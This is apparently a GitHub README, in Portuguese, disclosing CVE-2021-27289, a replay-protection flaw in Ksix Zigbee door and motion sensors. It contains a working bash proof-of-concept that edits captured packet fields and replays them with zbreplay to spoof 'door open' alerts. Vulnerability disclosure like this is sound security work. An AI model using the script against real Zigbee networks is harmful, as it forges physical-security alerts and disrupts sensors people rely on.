themalwareguardian/cve-2021-27289CVE-2021-27289: Bypass de Proteção de Reprodução em dispositivos Ksix Zigbee
Olá a todos,
Suponho que a abordagem profissional fosse apenas intitular este repositório exatamente como está – claro, descritivo e direto ao ponto. Mas quando o estava a montar, alguns outros títulos me vieram à mente, como:
De qualquer forma, aqui está a história.
Enquanto me preparava para divulgar uma nova vulnerabilidade, lembrei-me de algo em que tinha trabalhado há anos - um bug que encontrei durante o meu projeto final de curso enquanto investigava protocolos IoT como Thread e Zigbee. Na altura, enviei um relatório à MITRE mas nunca obtive resposta, por isso pensei que tinha sido simplesmente ignorado.
Por curiosidade, entrei novamente na minha antiga conta do Gmail que usei para a submissão... e para minha surpresa, em 2023 - três anos depois - vi que um CVE tinha sido realmente atribuído.
CVE-2021-27289, ligado à vulnerabilidade que reportei como estudante.
Porque é que demorou tanto tempo? Quando contactei o fornecedor pela primeira vez, disseram que não tinham pessoal suficiente para o corrigir e repetiram essa desculpa. Informei a MITRE que ninguém parecia estar a fazer nada em relação ao problema, por isso acho que esperaram - provavelmente porque o problema nunca iria ser corrigido de qualquer forma.
O bug afetava vários dispositivos IoT baseados em Zigbee fabricados pela Ksix. O problema central era que o mecanismo de proteção contra reprodução, definido na especificação Zigbee e aplicado através do contador de quadros, não estava implementado corretamente.
Como os dispositivos não verificavam corretamente o contador de quadros, um invasor podia comunicar com a rede e falsificar pacotes simplesmente aumentando o número de sequência para um valor superior ao último visto pelo dispositivo. Isto tornava possível reproduzir mensagens capturadas e fazê-las ser aceites como válidas - resultando efetivamente numa bypass de autenticação.
Este repositório inclui tudo o que trabalhei durante o meu projeto final:
Os dispositivos IoT Zigbee da Ksix são afetados por uma vulnerabilidade de ataque de repetição causada pela implementação incorreta dos mecanismos de proteção contra repetição do Zigbee.
As seguintes versões foram testadas e consideradas vulneráveis. Não testei versões posteriores, por isso também podem estar afetadas.
Estes produtos já não estão disponíveis no site do fornecedor ou em plataformas como a Amazon, e parecem ter sido descontinuados.
A pilha Zigbee nos dispositivos afetados não aplica corretamente o mecanismo de proteção contra repetição, que depende do campo de contador de quadros definido na especificação Zigbee. Este campo destina-se a garantir que as mensagens recebidas são recentes e não foram repetidas.
No entanto, nesta implementação, o contador de quadros é ignorado ou não é validado corretamente. Como resultado, um invasor pode capturar um pacote Zigbee legítimo, aumentar o seu número de sequência para um valor superior (por exemplo, 250), e reproduzi-lo na rede.
Como os dispositivos apenas verificam o número de sequência, aceitam a mensagem como nova - permitindo comunicação falsificada e ações não autorizadas sem quebrar qualquer autenticação ou encriptação.
Dependendo do tipo de dispositivo e de como está integrado no ambiente, isto pode causar alertas falsos ou estados de sensor falsos a surgir na aplicação que o utilizador originalmente usou para configurar a rede (por exemplo, movimento detetado, porta aberta) - mesmo que nada tenha realmente acontecido. Em configurações mais complexas, pode até desestabilizar fluxos de trabalho de automação ou desencadear ações indesejadas com base em dados falsificados.
Estes dispositivos são normalmente configurados usando aplicações como Tuya Smart ou plataformas semelhantes, que notificam os utilizadores em tempo real quando um sensor é ativado - por exemplo, quando uma porta abre ou movimento é detetado. É isto que torna os seguintes ataques particularmente eficazes, mesmo que os eventos físicos nunca ocorram.
Embora o impacto direto desta vulnerabilidade específica de repetição seja limitado, uma compreensão mais profunda do protocolo - como explorei no meu projeto final - revela cenários de ataque mais avançados que poderiam ser realizados com recursos mínimos.
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 Vídeos de demonstração***
- [YouTube Video - CVE-2021-27289: Replay attack on Ksix Zigbee devices (Overview + Old Demos)]() - Em breve. Estarei reenviando as demonstrações originais que gravei em 2020, desta vez com comentários explicando a configuração do ambiente, o processo de ataque e mais.
---
---
---
<div id='original-blog-post'/>
## ***📝 Postagem Original do Blog***
A postagem original do blog foi publicada em 2020 no que era então meu site pessoal principal (ah, a nostalgia 😅). Na época, compartilhei um artigo técnico para apoiar meu pedido de CVE ao MITRE, submeter o exploit de prova de conceito ao Exploit-DB e publicar os vídeos de demonstração (que agora reenviei para uma conta diferente do YouTube).
O que você encontrará abaixo é uma versão ligeiramente reestruturada da postagem original.
<div id='original-blog-post-researcher'/>
### ***👤 Pesquisador***
Um Alejandro Vázquez Vázquez de 22 anos, começando a levar a cibersegurança a sério - lentamente transformando uma paixão em carreira.
<div id='original-blog-post-zigbee-basics'/>
### ***📡 Fundamentos do Zigbee***
Se você não está familiarizado com o Zigbee, não espero que leia meu relatório de tese ou a especificação completa do IEEE 802.15.4. Em vez disso, recomendo estes excelentes recursos para obter uma compreensão sólida do protocolo:
- [Kudelski Security Research - Segurança ZigBee: Fundamentos (Parte 1)](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - Segurança ZigBee: Fundamentos (Parte 2)](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - Segurança ZigBee: Fundamentos (Parte 3)](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Segurança Zigbee 101 (Arquitetura e Problemas de Segurança)](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [Hong Kong Computer Emergency Response Team Coordination Centre (HKCERT) - Estudo de Segurança de Dispositivos (ZigBee)](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 Contexto e Motivação***
Para meu projeto de conclusão de curso, escolhi um tópico um pouco incomum na minha universidade: em vez de desenvolver um aplicativo, concentrei-me inteiramente em pesquisar e analisar protocolos de comunicação. Escolhi esse caminho porque me permitiu explorar o que considerava uma área crítica na época - a segurança dos dispositivos IoT.
Meu trabalho centrou-se nos protocolos Zigbee e Thread, bem como em sua base: IEEE 802.15.4. Depois de revisar documentação técnica e pesquisa acadêmica suficiente, passei para testes práticos com dispositivos reais, visando replicar e analisar vulnerabilidades conhecidas na área.
<div id='original-blog-post-early-experiments'/>
### ***🔍 Experimentos Iniciais***
Meus testes começaram com um sensor de movimento Zigbee. Queria ver como o dispositivo responderia a uma mensagem de controle falsificada - especificamente, um quadro de realinhamento de rede (network realignment frame), que normalmente é usado para redefinir parâmetros de configuração Zigbee. Injetei um na rede para simular uma reconfiguração - e funcionou. O sensor ainda aparecia como "conectado" no aplicativo móvel (aquele que usei para configurar a rede), mas na verdade havia perdido a comunicação com o coordenador e teve que ser redefinido manualmente. Isso me indicou que o dispositivo estava aceitando certos pacotes sem validação forte.
Encorajado por esse resultado, passei para ataques de repetição. Usando um sniffer, capturei mensagens Zigbee padrão de um sensor de porta (como "porta aberta" e "porta fechada"). Depois de redefinir a rede Zigbee, repeti esses pacotes sem modificar nenhum campo. Para minha surpresa, o aplicativo móvel disparou alertas em tempo real, como se a porta tivesse acabado de ser aberta ou fechada - mesmo que eu estivesse simplesmente repetindo mensagens capturadas anteriormente.
Isso confirmou que os mecanismos de proteção projetados para evitar ataques de repetição não estavam implementados ou não estavam funcionando corretamente nesses dispositivos.
<div id='original-blog-post-discovery'/>
### ***💥 Descoberta***
Nesse ponto, queria entender melhor por que repetir pacotes antigos estava funcionando. O Zigbee define dois campos-chave para evitar esse tipo de ataque: o contador de quadro (frame counter), que aumenta a cada mensagem enviada, e o número de sequência (sequence number), que ajuda a detectar duplicatas.
Então comecei a experimentar com ambos.
Primeiro, capturei cerca de 50 pacotes válidos e os repeti na rede. Recebi vários alertas, como antes. Então modifiquei o contador de quadro, definindo-o para um valor muito mais alto em cada pacote, e tentei novamente. Desta vez, nada aconteceu - sem alertas. Isso me fez suspeitar que algum tipo de verificação estava sendo realizada, mas de forma inconsistente.
Para investigar mais a fundo, redefini a rede Zigbee novamente e, em vez de modificar o contador de quadro, concentrei-me no número de sequência. Repeti as mesmas mensagens capturadas, mas aumentei gradualmente o número de sequência em cada pacote, simulando o que um dispositivo normal faria.
Funcionou.
Os alertas começaram a aparecer novamente no aplicativo móvel. Foi quando percebi que os dispositivos provavelmente estavam confiando apenas no número de sequência para determinar se um pacote era novo - e ignorando completamente o contador de quadro, que é o campo explicitamente projetado para evitar ataques de repetição.
Essa falha significava que, enquanto eu continuasse enviando pacotes com números de sequência mais recentes, poderia continuar injetando mensagens falsas na rede - e os dispositivos as aceitariam como legítimas.
Então, devido a uma implementação pobre - ou talvez a capacidades de processamento limitadas no coordenador (gateway Zigbee) - eu poderia, simplesmente estando dentro do alcance sem fio da rede, repetir mensagens capturadas anteriormente como "porta aberta" ou "porta fechada". Esses eventos falsificados apareceriam no aplicativo móvel exatamente como se tivessem acabado de acontecer na vida real.
<div id='original-blog-post-exploitation'/>
### ***🧨 Exploração***
Explorar a vulnerabilidade é trivial:
Você captura um quadro Zigbee válido, altera o número de sequência para um valor mais alto e o repete. O dispositivo receptor aceita a mensagem, e o usuário recebe um alerta em tempo real em seu aplicativo, acreditando que houve atividade real.
Em alguns testes, consegui até interromper a comunicação do dispositivo, fazendo com que os sensores permanecessem "online" no aplicativo, mas se tornassem não responsivos, o que poderia ser perigoso em cenários de segurança física.
<div id='original-blog-post-lab-setup'/>
### ***🔬 Configuração do Laboratório***
Os testes foram conduzidos em 2020 usando um pequeno laboratório de dispositivos IoT baseados em Zigbee fabricados pela Ksix. Os seguintes modelos e versões de firmware foram confirmados como vulneráveis na época:
- Módulo Gateway Zigbee – v1.0.3
- Módulo Principal do Gateway – v1.1.2
- Sensor de Porta – v1.0.7
- Sensor de Movimento PIR – v1.0.12
Para realizar os ataques e capturar o tráfego Zigbee, usei:
- APImote, um sniffer de hardware USB para redes IEEE 802.15.4
- KillerBee Framework, usado para capturar, injetar e analisar pacotes
Essa configuração me permitiu simular interações do mundo real, analisar fluxos de tráfego e testar cenários de ataque de negação de serviço e repetição em um ambiente controlado.
<div id='original-blog-post-related-research'/>
### ***📚 Pesquisas Relacionadas***
A partir daqui, agradeço a todos os pesquisadores que facilitaram meu caminho e de cujas publicações aprendi os vetores de ataque e vulnerabilidades mais comuns desse tipo de rede IoT:
- [Fan, X., Susan, F., Long, W., & Li, S. (2017). Análise de Segurança do Zigbee.](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- [Zillner, T. (2016). ZigBee Explorado: O bom, o mau e o feio. Magdeburger Journal zur Sicher-heitsforschung, 12, 699–704.](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- [Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). Uma Investigação sobre Ataques à Camada MAC IEEE 802.15.4. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023).](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- [R. Sokullu, O. Dagdeviren and I. Korkmaz, "Sobre os Ataques à Camada MAC IEEE 802.15.4: Ataque GTS," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75.](https://ieeexplore.ieee.org/document/4622738)
- [M. S. Wara and Q. Yu, "Novos Ataques de Repetição em Dispositivos ZigBee para Aplicações de Internet das Coisas (IoT)," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593.](https://ieeexplore.ieee.org/document/9301593)
- [Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). Três Ataques Práticos Contra a Segurança ZigBee: Definições de Cenários de Ataque, Experimentos Práticos, Contramedidas e Lições Aprendidas. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198.](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)